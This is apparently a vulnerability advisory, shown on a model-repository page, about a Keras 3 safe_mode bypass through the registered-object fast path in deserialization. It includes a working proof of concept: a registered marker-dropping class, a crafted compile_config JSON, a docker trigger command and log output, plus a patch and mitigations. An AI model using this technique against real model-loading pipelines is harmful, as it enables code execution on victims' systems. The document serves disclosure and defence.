You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

Log in or Sign Up to review the conditions and access this model content.

[internal-id: KERAS-MFV-004] registered_name fast path bypasses safe_mode deserialization gate

Severity: CVSS 3.1 7.0 High baseline (CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H). Worst-case (a side-effecting @register_keras_serializable class is import-time present in the victim — e.g. via sitecustomize/.pth, a keras_hub/keras_cv/keras_nlp plugin, or an enterprise registry auto-imported at startup) drops AC from H to L, yielding CVSS 8.4 High (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).

CWE: CWE-502 (Deserialization of Untrusted Data).

Affected versions: Keras >= 3.0.0, <= 3.15.0 (HEAD 42b66280e, 2026-05-01). The fast-path block at the top of _retrieve_class_or_fn is present in every released Keras 3 line; git show v3.0.0:keras/saving/serialization_lib.py and git show v3.2.0:keras/saving/serialization_lib.py both contain the identical code. The most recent touch on serialization is a7316d512 Reject unused registered_name in deserialize_keras_object (#22729), which strengthens the non-registry path but preserves the registry fast-path ("Custom objects that resolve via get_registered_object are unaffected.").

Component: keras/src/saving/serialization_lib.py (sink — _retrieve_class_or_fn), keras/src/saving/object_registration.py (the registry consulted by the sink), keras/src/trainers/trainer.py (realistic call site — compile_from_config).

Reporter: Independent security research (NTU academic vulnerability research project).

Summary

Keras safe_mode=True (the default for keras.saving.load_model) is intended to prevent attacker-controlled .keras artifacts from running arbitrary Python. The intended invariant — visible in the package allow-list at keras/src/saving/serialization_lib.py:840 and the KerasSaveable subclass check at line 844 — is "only classes from the keras / keras_hub / keras_cv / keras_nlp packages that are also KerasSaveable subclasses may be instantiated".

That invariant is broken by the registered-object fast path at lines 782–791 of the same file. Before any allow-list, _retrieve_class_or_fn consults get_registered_object(...) against the process-global table GLOBAL_CUSTOM_OBJECTS (object_registration.py:6, populated by every @register_keras_serializable decorator on import). If the attacker- supplied registered_name matches any entry, the class is returned immediately — before the package allow-list, before the KerasSaveable check, and without consulting safe_mode at all. The deserializer then calls cls.from_config(...) (line 737) and the trainer calls cls(**config) (trainer.py:1003), so both from_config and __init__ of the attacker-chosen class run.

This is a conditional RCE: the attacker class must already be in GLOBAL_CUSTOM_OBJECTS at load time, e.g. via sitecustomize/.pth, a third-party Keras-ecosystem package the victim imports, or any __init__.py chain that pulls a registered class in transitively. The PoC below reproduces the RCE end-to-end at default safe_mode=True.

Impact

  • Code execution at default safe_mode=True, bypassing the documented security model. No enable_unsafe_deserialization(), no safe_mode=False, no custom_objects= kwarg is required — just keras.saving.load_model("evil.keras").
  • Attack chain: any third-party package shipping a @register_keras_serializable class with a side-effecting __init__ or from_config becomes a single-shot gadget. The attacker delivers a .keras whose compile_config.loss (or optimizer, metrics, any nested field) carries the matching registered_name.
  • Realistic surfaces: the keras_hub / keras_cv / keras_nlp plugin universe (any registered class with non-trivial __init__); enterprise model zoos that register loss/metric/optimizer classes in their package __init__.py; sitecustomize.py / *.pth injection (turning a "two-step file write" primitive into RCE).
  • Every compile_config field is a gateway. loss, metrics, optimizer, loss_weights, weighted_metrics all flow through serialization_lib.deserialize_keras_object at trainer.py:1002.
  • Silent bypass. The user has no in-product signal; in the PoC the only visible consequence is a ValueError from the (zero-byte) weights mismatch, which appears after the attacker code has already run.

Affected Versions

  • First vulnerable release: Keras 3.0.0 (2023-11-27). The fast-path block predates the allow-list gate added in 713172ab5 Only allow deserialization of KerasSaveable's by module and name. (#21429), so every released Keras 3 line is vulnerable.
  • Last vulnerable at HEAD: Keras 3.15.0 (HEAD 42b66280e, keras/src/version.py:4).
  • Reproduction: HEAD 42b66280e against PoC image keras-poc:deps. Log /home/zitu/mfv/poc/T2B/artifacts/run-output.log lines 90–97 show Variant F dropping poc-marker-T2B-regloss-init and poc-marker-T2B-regloss-from_config under default safe_mode=True.
  • The "Reject raw callables" hardening on the Jules-bot PR branch (_check_for_raw_callables / UNSAFE_TYPES) is not on mastergrep -rn '_check_for_raw_callables\|UNSAFE_TYPES' keras/src/ returns zero hits. It targets a different vector (raw callables) and would not block this attack even if merged.

Vulnerability Details

Root cause

keras/src/saving/serialization_lib.py:777-791:

def _retrieve_class_or_fn(
    name, registered_name, module, obj_type, full_config, custom_objects=None
):
    # If there is a custom object registered via
    # `register_keras_serializable()`, that takes precedence.
    if obj_type == "function":
        custom_obj = object_registration.get_registered_object(
            name, custom_objects=custom_objects
        )
    else:
        custom_obj = object_registration.get_registered_object(
            registered_name, custom_objects=custom_objects
        )
    if custom_obj is not None:
        return custom_obj

get_registered_object (object_registration.py:191-230) consults, in order: the active CustomObjectScope dict, the process-global GLOBAL_CUSTOM_OBJECTS table (populated by every @register_keras_serializable(...) decorator on import — object_registration.py:151), the user-supplied custom_objects dict, and finally module_objects. Any imported module that decorates classes contributes entries to the table consulted by the fast path.

The trust-enforcing gate lives further down the same function at lines 838–856:

# keras/src/saving/serialization_lib.py:839-850
package = module.split(".", maxsplit=1)[0]
if package in {"keras", "keras_hub", "keras_cv", "keras_nlp"}:
    try:
        mod = importlib.import_module(module)
        obj = vars(mod).get(name, None)
        if isinstance(obj, type) and issubclass(obj, KerasSaveable):
            return obj
        else:
            raise ValueError(
                f"Could not deserialize '{module}.{name}' because "
                "it is not a KerasSaveable subclass"
            )

The intended invariant ("only vetted-package, KerasSaveable classes may be instantiated") is violated by the earlier fast-path block whenever the victim has any non-built-in registered class — which is the steady state for any real pipeline using a third-party Keras package.

Why safe_mode=True doesn't help

safe_mode is honoured in exactly two places along this code path: deserialize_keras_object raises on the __lambda__ marker (line 660–669), and SafeModeScope (line 734) propagates the flag via in_safe_mode() (line 516). _retrieve_class_or_fn does not consult safe_mode at all; the registry is implicitly treated as user-curated. The docstring at line 504–511 hedges that safe_mode "does not provide isolation from the local Python environment" — but the property users actually rely on (an attacker-supplied file should not be able to pick which class's __init__ runs) is silently violated.

compile_config as the realistic delivery channel

A standard .keras file's config.json carries a top-level compile_config dict (loss, metrics, optimizer, …). Load path:

  1. saving_lib.load_model(filepath, safe_mode=True) (saving_lib.py:325).
  2. _load_model_from_fileobj calls _model_from_config(..., safe_mode=True) (saving_lib.py:434–441).
  3. instance.compile_from_config(compile_config) runs inside a SafeModeScope(safe_mode) (saving_lib.py:734–754).
  4. Trainer.compile_from_config (trainer.py:980-1003) calls serialization_lib.deserialize_keras_object(config)safe_mode is inherited via SafeModeScope (serialization_lib.py:516–517).
  5. Recursion lands in _retrieve_class_or_fn for each compile field.

The minimal attacker JSON sub-document:

{"compile_config": {"optimizer": "adam",
  "loss": {"module": "evil_module", "class_name": "EvilRegLoss",
           "config": {}, "registered_name": "EvilPkg>EvilRegLoss"},
  "metrics": null, "loss_weights": null, "weighted_metrics": null,
  "run_eagerly": false, "steps_per_execution": 1, "jit_compile": false}}

_retrieve_class_or_fn is called with registered_name="EvilPkg>EvilRegLoss"; the fast path hits, the attacker class is returned, cls.from_config({}) runs.

from_config as the side-effect entry point

deserialize_keras_object (serialization_lib.py:735–737) calls cls.from_config(inner_config). Most Keras objects implement from_config as cls(**config), so __init__ runs. Then Trainer.compile_from_config (trainer.py:1003) calls self.compile(**config), constructing the loss a second time. Both invocations execute attacker-chosen Python — a single load triggers from_config and __init__ deterministically.

Variants tested

PoC /home/zitu/mfv/poc/T2B/build.py covers eight delivery shapes for compile_config.loss. Full results in /home/zitu/mfv/poc/T2B/artifacts/run-output.log.

Variant Shape Result
A module="evil_module", class_name="EvilLoss" TypeError: package allow-list (line 840)
B module="evil_module", class_name="function" TypeError: same gate
C A + registered_name="Custom>EvilLoss" (no decorator on class) TypeError: name not in GLOBAL_CUSTOM_OBJECTS
D module="keras_hub", fake class TypeError: package allowed but not installed
E Real keras.losses.MeanSquaredError Loads MSE; no markers
F registered_name="EvilPkg>EvilRegLoss" + evil_module imported MARKERS DROPPED (regloss-init, regloss-from_config)
G A but in compile_config.optimizer TypeError: same gate
H Real MSE carrying nested evil_module config TypeError on inner; no evil

A, B, C, G, H confirm the allow-list works as designed; without registered_name and a registered match in the global table, the attack is rejected. F is the only one that succeeds — the fast-path bypass is the entire vulnerability.

Proof of Concept

Environment

Docker image keras-poc:deps. Keras source tree at /keras-src (read-only), PoC payload at /poc, both on PYTHONPATH.

Malicious module

/home/zitu/mfv/poc/T2B/evil_module/__init__.py:55-73:

from keras.saving import register_keras_serializable

@register_keras_serializable(package="EvilPkg", name="EvilRegLoss")
class EvilRegLoss:
    def __init__(self, *args, **kwargs):
        _drop_marker("regloss-init")
    def get_config(self):
        return {}
    @classmethod
    def from_config(cls, config):
        _drop_marker("regloss-from_config")
        return cls()

/home/zitu/mfv/poc/T2B/build.py:215–232 packs Variant F's compile_config.loss (JSON shown above) as a .keras ZIP at /poc/artifacts/evil_f_regname.keras.

Trigger (default args, default safe_mode=True)

docker run --rm \
    -v /home/zitu/mfv/keras:/keras-src:ro \
    -v /home/zitu/mfv/poc/T2B:/poc \
    -e PYTHONPATH=/keras-src:/poc \
    -e KERAS_BACKEND=jax \
    keras-poc:deps \
    python -c "import evil_module; import keras; \
               keras.saving.load_model('/poc/artifacts/evil_f_regname.keras')"

import evil_module simulates the realistic case: the registered class is already in the victim process via sitecustomize, a keras_hub-like ecosystem package, or any transitive __init__.py chain.

Evidence

The recorded run log (/home/zitu/mfv/poc/T2B/artifacts/run-output.log:90–97) contains:

--- [evil_f_regname.keras (preimported)] /poc/artifacts/evil_f_regname.keras ---
  EXCEPTION: ValueError: A total of 1 objects could not be loaded. ...
  markers after: ['poc-marker-T2B-regloss-from_config', 'poc-marker-T2B-regloss-init']

The marker files prove EvilRegLoss.from_config({}) and EvilRegLoss.__init__() ran during load. The trailing weights-mismatch ValueError is incidental to the PoC's zero-byte weights; a weaponised artifact carrying valid weights would surface no error.

Suggested Patch

Make the fast path enforce a module allow-list on the resolved object before returning, gated on in_safe_mode(). Conservative form: fail closed on any registered class whose __module__ is not a vetted Keras package, exempting user-supplied custom_objects= (which the documented contract treats as trusted).

--- a/keras/src/saving/serialization_lib.py
+++ b/keras/src/saving/serialization_lib.py
@@ -774,6 +774,18 @@ def _assert_no_registered_name_for_builtin(full_config, resolved_name, api_name)
     )
 
 
+_VETTED_REGISTRY_PACKAGES = frozenset(
+    {"keras", "keras_hub", "keras_cv", "keras_nlp"}
+)
+
+
+def _is_vetted_registered_object(obj) -> bool:
+    """Trust-boundary check for the `get_registered_object` fast path."""
+    module = getattr(obj, "__module__", "") or ""
+    root = module.split(".", maxsplit=1)[0]
+    return root in _VETTED_REGISTRY_PACKAGES
+
+
 def _retrieve_class_or_fn(
     name, registered_name, module, obj_type, full_config, custom_objects=None
 ):
@@ -787,7 +799,22 @@ def _retrieve_class_or_fn(
         custom_obj = object_registration.get_registered_object(
             registered_name, custom_objects=custom_objects
         )
-    if custom_obj is not None:
-        return custom_obj
+    if custom_obj is not None:
+        # In safe_mode the registered-object table is NOT a trust boundary:
+        # any imported third-party package may register side-effecting classes
+        # an attacker can name in `registered_name`. Enforce module allow-list;
+        # exempt user-supplied `custom_objects=` (the documented trust kwarg).
+        if in_safe_mode() and not _is_vetted_registered_object(custom_obj):
+            in_user_dict = bool(
+                custom_objects and registered_name in custom_objects
+            )
+            if not in_user_dict:
+                raise ValueError(
+                    f"In safe_mode, refusing to instantiate {registered_name!r}"
+                    f" resolved from non-vetted module "
+                    f"{getattr(custom_obj, '__module__', '?')!r}. Pass "
+                    f"`custom_objects=` explicitly, or call "
+                    f"`keras.config.enable_unsafe_deserialization()`."
+                )
+        return custom_obj

This is ~25 lines (helper + gate). Three notes for maintainers:

  1. Trust-model decision being formalised. The current code implicitly trusts GLOBAL_CUSTOM_OBJECTS as a "user-curated" table; in practice it is populated by any decorator on any import. The patch makes the boundary explicit: in safe_mode, the table is trusted only for the four vetted package roots; anything else is re-confirmed by an explicit custom_objects=. A stricter alternative limits the allow-list to {"keras"} only; a looser one disables the gate when the caller passes a non-empty custom_objects= dict.
  2. User-supplied custom_objects remains trusted. The in_user_dict check preserves the documented contract.
  3. in_safe_mode() already exists at serialization_lib.py:516 and is the correct hook — Trainer.compile_from_config does not pass safe_mode explicitly, but inherits it via SafeModeScope.

The safe_mode docstring at serialization_lib.py:504–511 should also be updated to spell out the now-enforced registry invariant.

Mitigations (interim)

  • Treat keras.saving.load_model(path) as untrusted whenever path is attacker-influenced; sandbox loads (separate uid, container, seccomp).
  • Audit GLOBAL_CUSTOM_OBJECTS after import:
    import keras
    for name, cls in keras.saving.get_custom_objects().items():
        print(name, cls.__module__)
    
    Any entry with a __module__ outside keras.* / keras_hub.* / keras_cv.* / keras_nlp.* is a potential gadget; review whether the corresponding __init__ and from_config are side-effect-free.
  • If you ship a public Keras package using @register_keras_serializable, verify your __init__ and from_config have no I/O, os.system, module-import side effects, or eval/exec. A registered class is part of your package's security-relevant surface.
  • Avoid loading .keras artifacts from untrusted sources in any process that imports sitecustomize plugins, in-house model zoos, or third-party register_keras_serializable packages.

Credits

Reported by independent security research (NTU academic vulnerability research project), 2026-05-04.

Timeline

  • 2026-05-04: Vulnerability discovered; eight-variant PoC built; RCE reproduced under default safe_mode=True against HEAD 42b66280e (Keras 3.15.0). Markers poc-marker-T2B-regloss-init and poc-marker-T2B-regloss-from_config confirm __init__ and from_config execute on the attacker-controlled class.
  • TBD: Reported to keras-security.
  • TBD: Patch released; CVE assigned.

References

  • CWE-502 (Deserialization of Untrusted Data)
  • Keras commit a7316d512 Reject unused registered_name in deserialize_keras_object (#22729) — partial hardening that strengthens the non-registry path but explicitly preserves the registry fast-path semantics, leaving this vulnerability open.
  • Keras commit 713172ab5 Only allow deserialization of KerasSaveable's by module and name. (#21429) — the package-allow-list gate that this advisory shows is bypassed by the fast path above it.
  • Keras commit 594055796 docs: clarify safe_mode limitations in deserialize_keras_object (#22469) — current safe_mode docstring; needs an additional note about registry trust once this issue is fixed.
  • PoC artifacts: /home/zitu/mfv/poc/T2B/, full transcript at /home/zitu/mfv/poc/T2B/artifacts/run-output.log.
Downloads last month
-
Inference Providers NEW
This model isn't deployed by any Inference Provider. 🙋 Ask for provider support